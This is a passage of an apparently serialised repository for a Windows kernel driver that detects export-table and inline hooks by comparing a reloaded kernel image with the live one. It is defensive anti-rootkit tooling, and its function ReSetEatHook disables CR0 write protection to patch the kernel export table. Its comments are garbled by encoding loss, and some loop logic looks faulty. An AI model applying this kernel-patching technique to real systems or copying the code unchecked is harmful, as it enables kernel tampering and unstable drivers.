RangeCheck = ((Flags & RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK) == 0);\r\n if (RangeCheck) {\r\n if (Size < sizeof(IMAGE_DOS_HEADER)) {\r\n Status = STATUS_INVALID_IMAGE_FORMAT;\r\n goto Exit;\r\n }\r\n }\r\n\r\n //\r\n // Exception handling is not available in the boot loader, and exceptions\r\n // were not historically caught here in kernel mode. Drivers are considered\r\n // trusted, so we can't get an exception here due to a bad file, but we\r\n // could take an inpage error.\r\n //\r\n#define EXIT goto Exit\r\n if (((PIMAGE_DOS_HEADER)Base)->e_magic != IMAGE_DOS_SIGNATURE) {\r\n Status = STATUS_INVALID_IMAGE_FORMAT;\r\n EXIT;\r\n }\r\n e_lfanew = ((PIMAGE_DOS_HEADER)Base)->e_lfanew;\r\n if (RangeCheck) {\r\n if (e_lfanew >= Size\r\n#define SIZEOF_PE_SIGNATURE 4\r\n || e_lfanew >= (MAXULONG - SIZEOF_PE_SIGNATURE - sizeof(IMAGE_FILE_HEADER))\r\n || (e_lfanew + SIZEOF_PE_SIGNATURE + sizeof(IMAGE_FILE_HEADER)) >= Size\r\n ) {\r\n Status = STATUS_INVALID_IMAGE_FORMAT;\r\n EXIT;\r\n }\r\n }\r\n\r\n NtHeaders = (PIMAGE_NT_HEADERS)((PCHAR)Base + e_lfanew);\r\n\r\n //\r\n // In kernelmode, do not cross from usermode address to kernelmode address.\r\n //\r\n if (Base < MM_HIGHEST_USER_ADDRESS) {\r\n if ((PVOID)NtHeaders >= MM_HIGHEST_USER_ADDRESS) {\r\n Status = STATUS_INVALID_IMAGE_FORMAT;\r\n EXIT;\r\n }\r\n //\r\n // Note that this check is slightly overeager since IMAGE_NT_HEADERS has\r\n // a builtin array of data_directories that may be larger than the image\r\n // actually has. A better check would be to add FileHeader.SizeOfOptionalHeader,\r\n // after ensuring that the FileHeader does not cross the u/k boundary.\r\n //\r\n if ((PVOID)((PCHAR)NtHeaders + sizeof (IMAGE_NT_HEADERS)) >= MM_HIGHEST_USER_ADDRESS) {\r\n Status = STATUS_INVALID_IMAGE_FORMAT;\r\n EXIT;\r\n }\r\n }\r\n\r\n if (NtHeaders->Signature != IMAGE_NT_SIGNATURE) {\r\n Status = STATUS_INVALID_IMAGE_FORMAT;\r\n EXIT;\r\n }\r\n Status = STATUS_SUCCESS;\r\n\r\nExit:\r\n if (NT_SUCCESS(Status)) {\r\n *OutHeaders = NtHeaders;\r\n }\r\n return Status;\r\n}\r\n\r\n// \r\n// PIMAGE_NT_HEADERS\r\n// NTAPI\r\n// RtlImageNtHeader(\r\n// PVOID Base\r\n// )\r\n// {\r\n// PIMAGE_NT_HEADERS NtHeaders = NULL;\r\n// (VOID)RtlImageNtHeaderEx(RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK, Base, 0, &NtHeaders);\r\n// return NtHeaders;\r\n// }\r\n// \r\n// \r\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FixRelocation.h", "content": "#include \"Reload.h\"\r\n\r\n\r\n\r\n\r\nBOOLEAN\r\n FixBaseRelocTable (\r\n PVOID NewImageBase,\r\n DWORD ExistImageBase\r\n );\r\n\r\nPIMAGE_BASE_RELOCATION\r\n LdrProcessRelocationBlockLongLong(\r\n IN ULONG_PTR VA,\r\n IN ULONG SizeOfBlock,\r\n IN PUSHORT NextOffset,\r\n IN LONGLONG Diff\r\n );\r\n\r\nNTSTATUS\r\n NTAPI\r\n RtlImageNtHeaderEx(\r\n ULONG Flags,\r\n PVOID Base,\r\n ULONG64 Size,\r\n OUT PIMAGE_NT_HEADERS * OutHeaders\r\n );\r\n\r\nPIMAGE_NT_HEADERS\r\n NTAPI\r\n RtlImageNtHeader(\r\n PVOID Base\r\n );\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelHookCheck.c", "content": "#include \"KernelHookCheck.h\"\r\n#include \"libdasm.h\"\r\n#include \"Common.h\"\r\n#include \"Reload.h\"\r\n\r\nULONG IntHookCount; //¼Hook\r\n\r\nextern DWORD OriginalKiServiceTable;\r\nextern PSERVICE_DESCRIPTOR_TABLE OriginalServiceDescriptorTable;\r\n\r\nextern ULONG_PTR SystemKernelModuleBase;\r\nextern ULONG_PTR SystemKernelModuleSize;\r\nextern ULONG_PTR ImageModuleBase;\r\n\r\n\r\nBOOLEAN KernelHookCheck(PINLINEHOOKINFO InlineHookInfo)\r\n{\r\n NTSTATUS Status = STATUS_UNSUCCESSFUL;\r\n\r\n PIMAGE_NT_HEADERS NtHeader;\r\n PIMAGE_EXPORT_DIRECTORY ExportTable;\r\n ULONG* FunctionAddresses;\r\n ULONG* FunctionNames;\r\n USHORT* FunctionIndexs;\r\n ULONG ulIndex;\r\n ULONG i;\r\n CHAR* szFunctionName;\r\n SIZE_T ViewSize=0;\r\n ULONG_PTR ulFunctionAddress;\r\n\r\n BOOL bIsZwFunction = FALSE;\r\n\r\n ULONG ulOldAddress;\r\n ULONG ulReloadAddress;\r\n\r\n PUCHAR ulTemp;\r\n\r\n __try{\r\n NtHeader = RtlImageNtHeader((PVOID)ImageModuleBase);\r\n if (NtHeader && NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress){\r\n ExportTable =(IMAGE_EXPORT_DIRECTORY*)((ULONG_PTR)ImageModuleBase + NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);\r\n FunctionAddresses = (ULONG*)((ULONG_PTR)ImageModuleBase + ExportTable->AddressOfFunctions);\r\n FunctionNames = (ULONG*)((ULONG_PTR)ImageModuleBase + ExportTable->AddressOfNames);\r\n FunctionIndexs = (USHORT*)((ULONG_PTR)ImageModuleBase + ExportTable->AddressOfNameOrdinals);\r\n for(i = 0; i < ExportTable->NumberOfNames; i++)\r\n {\r\n szFunctionName = (LPSTR)((ULONG_PTR)ImageModuleBase + FunctionNames[i]);\r\n \r\n ulIndex = FunctionIndexs[i]; \r\n ulFunctionAddress = (ULONG_PTR)((ULONG_PTR)ImageModuleBase + FunctionAddresses[ulIndex]);\r\n // ulIndex=*(ULONG*)(ulFunctionAddress+1); //32 bit 1 64 bit 4 //\r\n\r\n\r\n //ڷZwϵк ƫƵϵͳĸúַ\r\n ulReloadAddress = ulFunctionAddress;\r\n ulOldAddress = ulReloadAddress - (ULONG)ImageModuleBase + SystemKernelModuleBase; \r\n\r\n if (!ulOldAddress ||\r\n !MmIsAddressValid((PVOID)ulOldAddress) ||\r\n !ulReloadAddress ||\r\n !MmIsAddressValid((PVOID)ulReloadAddress))\r\n {\r\n continue;\r\n }\r\n bIsZwFunction = FALSE;\r\n\r\n //һһcallĺhook\r\n if (*szFunctionName == 'Z' &&\r\n *(szFunctionName+1) == 'w')\r\n {\r\n bIsZwFunction = TRUE;\r\n ulIndex = *((WORD*)(ulFunctionAddress + 1)); //õ\r\n\r\n if (ulIndex > 0 &&\r\n ulIndex <= OriginalServiceDescriptorTable->TableSize)\r\n {\r\n //Zwϵк ϵͳNtos ӦNtĵַ\r\n ulReloadAddress = OriginalServiceDescriptorTable->ServiceTable[ulIndex];\r\n ulOldAddress = ulReloadAddress - (ULONG)ImageModuleBase + SystemKernelModuleBase;\r\n }\r\n }\r\n if (bIsZwFunction)\r\n {\r\n // bIsZwFunction == TRUE ЧһµַЧ\r\n if (!ulOldAddress ||\r\n !MmIsAddressValid((PVOID)ulOldAddress) ||\r\n !ulReloadAddress ||\r\n !MmIsAddressValid((PVOID)ulReloadAddress))\r\n {\r\n continue;\r\n }\r\n }\r\n else //һ㺯ֻɨZwͷģֻɨδ\r\n { \r\n GetNextFunctionAddress(ImageModuleBase,ulOldAddress,szFunctionName,InlineHookInfo);\r\n }\r\n\r\n ulTemp = NULL;\r\n\r\n //ZwеNt \r\n //жǷNtos Hook\r\n //ulOldAddress Ǹصַ - Base + KernelBase ĵַ\r\n ulTemp = (PUCHAR)GetEatHook(ulOldAddress,i,SystemKernelModuleBase,SystemKernelModuleSize); //ȽEAT Hook\r\n \r\n if(ulTemp)\r\n {//Hook\r\n FillInlineHookInfo(ulTemp,InlineHookInfo,szFunctionName,ulOldAddress,1); //EAT Hook 1\r\n }\r\n //ǷInlineHook\r\n CheckFuncByOpcode((PVOID)ulReloadAddress,InlineHookInfo,szFunctionName,(PVOID)ulOldAddress);\r\n\r\n }\r\n }\r\n }__except(EXCEPTION_EXECUTE_HANDLER)\r\n {\r\n }\r\n return STATUS_SUCCESS;\r\n}\r\nVOID FillInlineHookInfo(PUCHAR ulTemp,PINLINEHOOKINFO InlineHookInfo,CHAR* szFunctionName,ULONG ulOldAddress,ULONG HookType)\r\n{\r\n ULONG ulHookModuleBase;\r\n ULONG ulHookModuleSize;\r\n char lpszHookModuleImage[256];\r\n ULONG IntHookCount = InlineHookInfo->ulCount;\r\n\r\n\r\n memset(lpszHookModuleImage,0,sizeof(lpszHookModuleImage));\r\n if (!IsAddressInSystem(\r\n (ULONG)ulTemp,\r\n &ulHookModuleBase,\r\n &ulHookModuleSize,\r\n lpszHookModuleImage))\r\n {\r\n memset(lpszHookModuleImage,0,sizeof(lpszHookModuleImage));\r\n strcat(lpszHookModuleImage,\"Unknown4\");\r\n ulHookModuleBase = 0;\r\n ulHookModuleSize = 0;\r\n }\r\n InlineHookInfo->InlineHook[IntHookCount].ulMemoryHookBase = (ULONG)ulTemp;\r\n memset(InlineHookInfo->InlineHook[IntHookCount].lpszFunction,0,sizeof(InlineHookInfo->InlineHook[IntHookCount].lpszFunction));\r\n memset(InlineHookInfo->InlineHook[IntHookCount].lpszHookModuleImage,0,sizeof(InlineHookInfo->InlineHook[IntHookCount].lpszHookModuleImage));\r\n\r\n memcpy(InlineHookInfo->InlineHook[IntHookCount].lpszFunction,szFunctionName,strlen(szFunctionName));\r\n memcpy(InlineHookInfo->InlineHook[IntHookCount].lpszHookModuleImage,lpszHookModuleImage,strlen(lpszHookModuleImage));\r\n\r\n InlineHookInfo->InlineHook[IntHookCount].ulMemoryFunctionBase = (ULONG)ulOldAddress;\r\n InlineHookInfo->InlineHook[IntHookCount].ulHookModuleBase = ulHookModuleBase;\r\n InlineHookInfo->InlineHook[IntHookCount].ulHookModuleSize = ulHookModuleSize;\r\n InlineHookInfo->InlineHook[IntHookCount].ulHookType = HookType; //eat hook 1 Inline Hook 0\r\n IntHookCount++;\r\n InlineHookInfo->ulCount++;\r\n}\r\n\r\n\r\nVOID CheckFuncByOpcode(PVOID ulReloadAddress,PINLINEHOOKINFO InlineHookInfo,CHAR* szFunctionName,PVOID ulOldAddress)\r\n{\r\n INSTRUCTION Inst;\r\n INSTRUCTION Instb;\r\n ULONG ulHookFunctionAddress;\r\n size_t ulCodeSize;\r\n PUCHAR p;\r\n PUCHAR ulTemp;\r\n int Flagss;\r\n if (GetFunctionCodeSize(ulOldAddress) == GetFunctionCodeSize(ulReloadAddress) &&\r\n memcmp(ulReloadAddress,ulOldAddress,GetFunctionCodeSize(ulOldAddress)) != 0)\r\n {//Hook\r\n //ʼɨhooksss\r\n ulCodeSize = GetFunctionCodeSize(ulOldAddress);\r\n\r\n for (p = (PUCHAR)ulOldAddress ;(ULONG)p < (ULONG)ulOldAddress+ulCodeSize; p++)\r\n {\r\n //۰ɨ裬ǰһһʼɨһ\r\n if (memcmp(ulReloadAddress,ulOldAddress,ulCodeSize/2) == 0)\r\n {\r\n ulCodeSize = ulCodeSize + ulCodeSize/2;\r\n continue;\r\n }\r\n if (*p == 0xcc ||\r\n *p == 0xc2)\r\n {\r\n break;\r\n }\r\n ulHookFunctionAddress = (*(PULONG)(p + 1) + (ULONG)p + 5); //õhookĵַ\r\n if (!MmIsAddressValid((PVOID)ulHookFunctionAddress))\r\n {\r\n continue;\r\n }\r\n ulTemp = NULL;\r\n get_instruction(&Inst,p,MODE_32);\r\n switch (Inst.type)\r\n {\r\n case INSTRUCTION_TYPE_JMP:\r\n if(Inst.opcode==0xFF&&Inst.modrm==0x25)\r\n {\r\n //DIRECT_JMP\r\n ulTemp = (PUCHAR)Inst.op1.displacement;\r\n }\r\n else if (Inst.opcode==0xEB)\r\n {\r\n ulTemp = (PUCHAR)(p+Inst.op1.immediate);\r\n }\r\n else if(Inst.opcode==0xE9)\r\n {\r\n //RELATIVE_JMP;\r\n ulTemp = (PUCHAR)(p+Inst.op1.immediate);\r\n }\r\n break;\r\n case INSTRUCTION_TYPE_CALL:\r\n if(Inst.opcode==0xFF&&Inst.modrm==0x15)\r\n {\r\n //DIRECT_CALL\r\n ulTemp = (PUCHAR)Inst.op1.displacement;\r\n }\r\n else if (Inst.opcode==0x9A)\r\n {\r\n ulTemp = (PUCHAR)(p+Inst.op1.immediate);\r\n }\r\n else if(Inst.opcode==0xE8)\r\n {\r\n //RELATIVE_CALL;\r\n ulTemp = (PUCHAR)(p+Inst.op1.immediate);\r\n }\r\n break;\r\n case INSTRUCTION_TYPE_PUSH:\r\n if(!RMmIsAddressValid((PVOID)(p)))\r\n {\r\n break;\r\n }\r\n get_instruction(&Instb,(BYTE*)(p),MODE_32);\r\n if(Instb.type == INSTRUCTION_TYPE_RET)\r\n {\r\n //StartAddress+len-inst.length-instb.length;\r\n ulTemp = (PUCHAR)Instb.op1.displacement;\r\n }\r\n break;\r\n }\r\n if (ulTemp &&\r\n RMmIsAddressValid(ulTemp) &&\r\n RMmIsAddressValid(p)) //hookĵַҲҪЧſŶ\r\n {\r\n if ((ULONG)ulTemp > SystemKernelModuleBase &&\r\n (ULONG)ulTemp < SystemKernelModuleBase+SystemKernelModuleSize) //̫Ҳ\r\n {\r\n goto Next;\r\n }\r\n //ulTempҲС SystemKernelModuleBase\r\n if ((ULONG)ulTemp < SystemKernelModuleBase)\r\n {\r\n goto Next;\r\n }\r\n //KdPrint((\"%08x-%08x-%08x\",p,ulTemp,(SystemKernelModuleBase + SystemKernelModuleSize + 0xfffffff)));\r\n\r\n if (*(ULONG *)ulTemp == 0x00000000 ||\r\n *(ULONG *)ulTemp == 0x00000005 ||\r\n *(ULONG *)ulTemp == 0xc0000012)\r\n {\r\n goto Next;\r\n }\r\n Flagss = 0;\r\n __asm{\r\n mov esi,ulTemp\r\n mov ax,word ptr [esi]\r\n cmp ax,0x0000\r\n jz Cont//add byte ptr [eax],al\r\n //\r\n mov Flagss,1\r\nCont:\r\n }\r\n if (Flagss != 1)\r\n goto Next;\r\n\r\n ulTemp = ulTemp+0x5;\r\n //򵥴һ¶\r\n if (*ulTemp == 0xe9 ||\r\n *ulTemp == 0xe8)\r\n {\r\n ulTemp = (PUCHAR)(*(PULONG)(ulTemp+1)+(ULONG)(ulTemp+5));\r\n }\r\n FillInlineHookInfo(ulTemp,InlineHookInfo,szFunctionName,(ULONG)p,0); //Inline Hook\r\nNext:\r\n _asm{nop}\r\n }\r\n }\r\n }\r\n}\r\n\r\n//ȡһ0xe8 callinlinehookcheck\r\nULONG GetNextFunctionAddress(ULONG ulNtDllModuleBase,ULONG ulOldAddress,char *functionName,PINLINEHOOKINFO InlineHookInfo)\r\n{\r\n ULONG ulCodeSize;\r\n\r\n ULONG ulNextFunCodeSize;\r\n ULONG ulNextFunReloadCodeSize;\r\n PUCHAR i;\r\n\r\n PUCHAR ulNextFunctionAddress = NULL;\r\n PUCHAR ulReloadNextFunctionAddress = NULL;\r\n BOOL bRetOK = FALSE;\r\n PUCHAR ulTemp;\r\n ULONG ulHookFunctionAddress;\r\n PUCHAR p;\r\n\r\n INSTRUCTION Inst;\r\n INSTRUCTION Instb;\r\n\r\n char lpszHookModuleImage[256];\r\n ULONG ulHookModuleBase;\r\n ULONG ulHookModuleSize;\r\n int Flagss;\r\n\r\n if (!MmIsAddressValid((PVOID)ulOldAddress))\r\n {\r\n return bRetOK;\r\n }\r\n __try\r\n {\r\n ulCodeSize = GetFunctionCodeSize((PVOID)ulOldAddress);\r\n for (i=(PUCHAR)ulOldAddress;i < i+ulCodeSize;i++)\r\n {\r\n //ɨת\r\n if (*i == 0xe8)\r\n {\r\n ulNextFunctionAddress = (PUCHAR)(*(PULONG)(i+1)+(ULONG)(i+5));\r\n if (MmIsAddressValid((PVOID)ulNextFunctionAddress))\r\n {\r\n //жһǷǵ\r\n if (IsFunctionInExportTable(ulNtDllModuleBase,(ULONG)ulNextFunctionAddress))\r\n {\r\n return 0;\r\n }\r\n //hook ɨ\r\n ulReloadNextFunctionAddress = ulNextFunctionAddress - SystemKernelModuleBase + ImageModuleBase;\r\n if (MmIsAddressValid(ulReloadNextFunctionAddress) &&\r\n MmIsAddressValid(ulNextFunctionAddress))\r\n {\r\n ulNextFunCodeSize = GetFunctionCodeSize(ulNextFunctionAddress);\r\n ulNextFunReloadCodeSize = GetFunctionCodeSize(ulReloadNextFunctionAddress);\r\n\r\n if (ulNextFunCodeSize == ulNextFunReloadCodeSize &&\r\n memcmp(ulReloadNextFunctionAddress,ulNextFunctionAddress,ulNextFunCodeSize) != 0)\r\n {\r\n //hook\r\n for (p = (PUCHAR)ulNextFunctionAddress ;(ULONG)p < (ULONG)ulNextFunctionAddress+ulNextFunCodeSize; p++)\r\n {\r\n //۰ɨ裬ǰһһʼɨһ\r\n if (memcmp(ulReloadNextFunctionAddress, ulNextFunctionAddress,ulNextFunCodeSize/2) == 0)\r\n {\r\n ulNextFunCodeSize = ulNextFunCodeSize + ulNextFunCodeSize/2;\r\n continue;\r\n }\r\n //Ƿ\r\n if (*p == 0xcc ||\r\n *p == 0xc2)\r\n {\r\n break;\r\n }\r\n ulHookFunctionAddress = (*(PULONG)(p + 1) + (ULONG)p + 5); //õַ\r\n if (!RMmIsAddressValid((PVOID)ulHookFunctionAddress))\r\n {\r\n continue;\r\n }\r\n ulTemp = NULL;\r\n get_instruction(&Inst,p,MODE_32);\r\n switch (Inst.type)\r\n {\r\n case INSTRUCTION_TYPE_JMP:\r\n if(Inst.opcode==0xFF&&Inst.modrm==0x25)\r\n {\r\n //DIRECT_JMP\r\n ulTemp = (PUCHAR)Inst.op1.displacement;\r\n }\r\n else if (Inst.opcode==0xEB)\r\n {\r\n ulTemp = (PUCHAR)(p+Inst.op1.immediate);\r\n }\r\n else if(Inst.opcode==0xE9)\r\n {\r\n //RELATIVE_JMP;\r\n ulTemp = (PUCHAR)(p+Inst.op1.immediate);\r\n }\r\n break;\r\n case INSTRUCTION_TYPE_CALL:\r\n if(Inst.opcode==0xFF&&Inst.modrm==0x15)\r\n {\r\n //DIRECT_CALL\r\n ulTemp = (PUCHAR)Inst.op1.displacement;\r\n }\r\n else if (Inst.opcode==0x9A)\r\n {\r\n ulTemp = (PUCHAR)(p+Inst.op1.immediate);\r\n }\r\n else if(Inst.opcode==0xE8)\r\n {\r\n //RELATIVE_CALL;\r\n ulTemp = (PUCHAR)(p+Inst.op1.immediate);\r\n }\r\n break;\r\n case INSTRUCTION_TYPE_PUSH:\r\n if(!RMmIsAddressValid((PVOID)(p)))\r\n {\r\n break;\r\n }\r\n get_instruction(&Instb,(BYTE*)(p),MODE_32);\r\n if(Instb.type == INSTRUCTION_TYPE_RET)\r\n {\r\n //StartAddress+len-inst.length-instb.length;\r\n ulTemp = (PUCHAR)Instb.op1.displacement;\r\n }\r\n break;\r\n }\r\n if (ulTemp &&\r\n MmIsAddressValid(ulTemp) &&\r\n MmIsAddressValid(p)) //hookĵַҲҪЧſŶ\r\n {\r\n if ((ULONG)ulTemp > SystemKernelModuleBase &&\r\n (ULONG)ulTemp < SystemKernelModuleBase+SystemKernelModuleSize) //̫Ҳ\r\n {\r\n goto Next;\r\n }\r\n //ulTempҲС SystemKernelModuleBase\r\n if ((ULONG)ulTemp < SystemKernelModuleBase)\r\n {\r\n goto Next;\r\n }\r\n if (*(ULONG *)ulTemp == 0x00000000 ||\r\n *(ULONG *)ulTemp == 0x00000005)\r\n {\r\n goto Next;\r\n }\r\n Flagss = 0;\r\n __asm{\r\n mov esi,ulTemp\r\n mov ax,word ptr [esi]\r\n cmp ax,0x0000\r\n jz Cont//add byte ptr [eax],al\r\n mov Flagss,1\r\nCont:\r\n }\r\n if (Flagss != 1)\r\n goto Next;\r\n\r\n ulTemp = ulTemp+0x5;\r\n //򵥴һ¶\r\n if (*ulTemp == 0xe9 ||\r\n *ulTemp == 0xe8)\r\n {\r\n ulTemp = (PUCHAR)(*(PULONG)(ulTemp+1)+(ULONG)(ulTemp+5));\r\n }\r\n FillInlineHookInfo(ulTemp+0x5,InlineHookInfo,functionName,(ULONG)p,2);\r\nNext:\r\n _asm{nop}\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n //\r\n if (*i == 0xcc ||\r\n *i == 0xc2)\r\n {\r\n return 0;\r\n }\r\n }\r\n\r\n }__except(EXCEPTION_EXECUTE_HANDLER){\r\n\r\n }\r\n\r\n return 0;\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBOOLEAN IsFunctionInExportTable(ULONG ulModuleBase,ULONG ulFunctionAddress)\r\n{\r\n\r\n PIMAGE_DOS_HEADER pDosHeader;\r\n PIMAGE_NT_HEADERS NtDllHeader;\r\n IMAGE_OPTIONAL_HEADER opthdr;\r\n DWORD* arrayOfFunctionAddresses;\r\n DWORD* arrayOfFunctionNames;\r\n WORD* arrayOfFunctionOrdinals;\r\n DWORD functionOrdinal;\r\n DWORD Base, x, functionAddress,ulOldAddress;\r\n IMAGE_EXPORT_DIRECTORY *pExportTable;\r\n char *functionName;\r\n\r\n\r\n __try\r\n {\r\n pDosHeader=(PIMAGE_DOS_HEADER)ulModuleBase;\r\n if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)\r\n {\r\n KdPrint((\"failed to find NtHeader\\r\\n\"));\r\n return FALSE;\r\n }\r\n NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew);\r\n if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE)\r\n {\r\n KdPrint((\"failed to find NtHeader\\r\\n\"));\r\n return FALSE;\r\n }\r\n opthdr = NtDllHeader->OptionalHeader;\r\n pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //õ\r\n arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfFunctions); //ַ\r\n arrayOfFunctionNames = (DWORD*)((BYTE*)ulModuleBase + pExportTable->AddressOfNames); //\r\n arrayOfFunctionOrdinals = (WORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfNameOrdinals);\r\n\r\n Base = pExportTable->Base;\r\n\r\n for(x = 0; x < pExportTable->NumberOfFunctions; x++) //ɨ\r\n {\r\n //functionName = (char*)((BYTE*)ulModuleBase + arrayOfFunctionNames[x]);\r\n functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; \r\n functionAddress = (DWORD)((BYTE*)ulModuleBase + arrayOfFunctionAddresses[functionOrdinal]);\r\n //KdPrint((\"%08x:%s\\r\\n\",functionAddress,functionName));\r\n //ulOldAddress = GetSystemRoutineAddress(0,functionName);\r\n ulOldAddress = functionAddress - ulModuleBase + SystemKernelModuleBase;\r\n if (ulFunctionAddress == ulOldAddress)\r\n {\r\n //ǵ˳\r\n return TRUE;\r\n }\r\n }\r\n\r\n }__except(EXCEPTION_EXECUTE_HANDLER){\r\n\r\n }\r\n return FALSE;\r\n}\r\n\r\n\r\nBOOLEAN ReSetEatHook(CHAR *lpszFunction,ULONG ulReloadKernelModule,ULONG ulKernelModule)\r\n{\r\n ULONG ulModuleBase;\r\n PIMAGE_DOS_HEADER pDosHeader;\r\n PIMAGE_NT_HEADERS NtDllHeader;\r\n IMAGE_OPTIONAL_HEADER opthdr;\r\n DWORD* arrayOfFunctionAddresses;\r\n DWORD* arrayOfFunctionNames;\r\n WORD* arrayOfFunctionOrdinals;\r\n DWORD functionOrdinal;\r\n DWORD Base,x,functionAddress;\r\n IMAGE_EXPORT_DIRECTORY *pExportTable;\r\n char *functionName = NULL;\r\n BOOL bIsEatHooked = FALSE;\r\n int position;\r\n ULONG ulFunctionOrdinal;\r\n\r\n //ָʱ reloadImageModuleBase\r\n ulModuleBase = ulReloadKernelModule;\r\n pDosHeader = (PIMAGE_DOS_HEADER)ulModuleBase;\r\n if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)\r\n {\r\n KdPrint((\"failed to find NtHeader\\r\\n\"));\r\n return 0;\r\n }\r\n NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew);\r\n if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE)\r\n {\r\n KdPrint((\"failed to find NtHeader\\r\\n\"));\r\n return 0;\r\n }\r\n opthdr = NtDllHeader->OptionalHeader;\r\n pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //õ\r\n arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfFunctions); //ַ\r\n arrayOfFunctionNames = (DWORD*)((BYTE*)ulModuleBase + pExportTable->AddressOfNames); //\r\n arrayOfFunctionOrdinals = (WORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfNameOrdinals);\r\n\r\n Base = pExportTable->Base;\r\n\r\n for(x = 0; x < pExportTable->NumberOfFunctions; x++) //ɨ\r\n {\r\n functionName = (char*)((BYTE*)ulModuleBase + arrayOfFunctionNames[x]);\r\n ulFunctionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; \r\n ulFunctionOrdinal = arrayOfFunctionAddresses[ulFunctionOrdinal];\r\n\r\n functionAddress = (DWORD)((BYTE*)ulModuleBase + ulFunctionOrdinal);\r\n\r\n if (_stricmp(lpszFunction,functionName) == 0)\r\n {\r\n KdPrint((\"reload ulFunctionOrdinal:%08x:%s\",ulFunctionOrdinal,functionName));\r\n\r\n //ʼָ\r\n ulModuleBase = ulKernelModule;\r\n pDosHeader = (PIMAGE_DOS_HEADER)ulModuleBase;\r\n if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)\r\n {\r\n KdPrint((\"failed to find NtHeader\\r\\n\"));\r\n return 0;\r\n }\r\n NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew);\r\n if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE)\r\n {\r\n KdPrint((\"failed to find NtHeader\\r\\n\"));\r\n return 0;\r\n }\r\n opthdr = NtDllHeader->OptionalHeader;\r\n pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //õ\r\n arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfFunctions); //ַ\r\n arrayOfFunctionNames = (DWORD*)((BYTE*)ulModuleBase + pExportTable->AddressOfNames); //\r\n arrayOfFunctionOrdinals = (WORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfNameOrdinals);\r\n\r\n Base = pExportTable->Base;\r\n\r\n _asm\r\n {\r\n CLI \r\n MOV EAX, CR0 \r\n AND EAX, NOT 10000H \r\n MOV CR0, EAX \r\n } \r\n arrayOfFunctionAddresses[arrayOfFunctionOrdinals[x] + Base - 1] = ulFunctionOrdinal;\r\n _asm \r\n {\r\n MOV EAX, CR0 \r\n OR EAX, 10000H \r\n MOV CR0, EAX \r\n STI \r\n }\r\n break;\r\n }\r\n }\r\n\r\n return TRUE;\r\n}\r\nULONG GetEatHook(ULONG ulOldAddress,int x,ULONG ulSystemKernelModuleBase,ULONG ulSystemKernelModuleSize)\r\n{\r\n ULONG ulModuleBase;\r\n PIMAGE_DOS_HEADER pDosHeader;\r\n PIMAGE_NT_HEADERS NtDllHeader;\r\n IMAGE_OPTIONAL_HEADER opthdr;\r\n DWORD* arrayOfFunctionAddresses;\r\n DWORD* arrayOfFunctionNames;\r\n WORD* arrayOfFunctionOrdinals;\r\n DWORD functionOrdinal;\r\n DWORD Base,functionAddress;\r\n IMAGE_EXPORT_DIRECTORY *pExportTable;\r\n char *functionName = NULL;\r\n BOOL bIsEatHooked = FALSE;\r\n ULONG position = 0;\r\n ULONG ulFunctionOrdinal;\r\n\r\n ulModuleBase = ulSystemKernelModuleBase;\r\n pDosHeader = (PIMAGE_DOS_HEADER)ulModuleBase;\r\n if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)\r\n {\r\n KdPrint((\"failed to find NtHeader\\r\\n\"));\r\n return 0;\r\n }\r\n NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew);\r\n if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE)\r\n {\r\n KdPrint((\"failed to find NtHeader\\r\\n\"));\r\n return 0;\r\n }\r\n opthdr = NtDllHeader->OptionalHeader;\r\n pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //õ\r\n arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfFunctions); //ַ\r\n arrayOfFunctionNames = (DWORD*)((BYTE*)ulModuleBase + pExportTable->AddressOfNames); //\r\n arrayOfFunctionOrdinals = (WORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfNameOrdinals);\r\n\r\n Base = pExportTable->Base;\r\n\r\n functionName = (char*)((BYTE*)ulModuleBase + 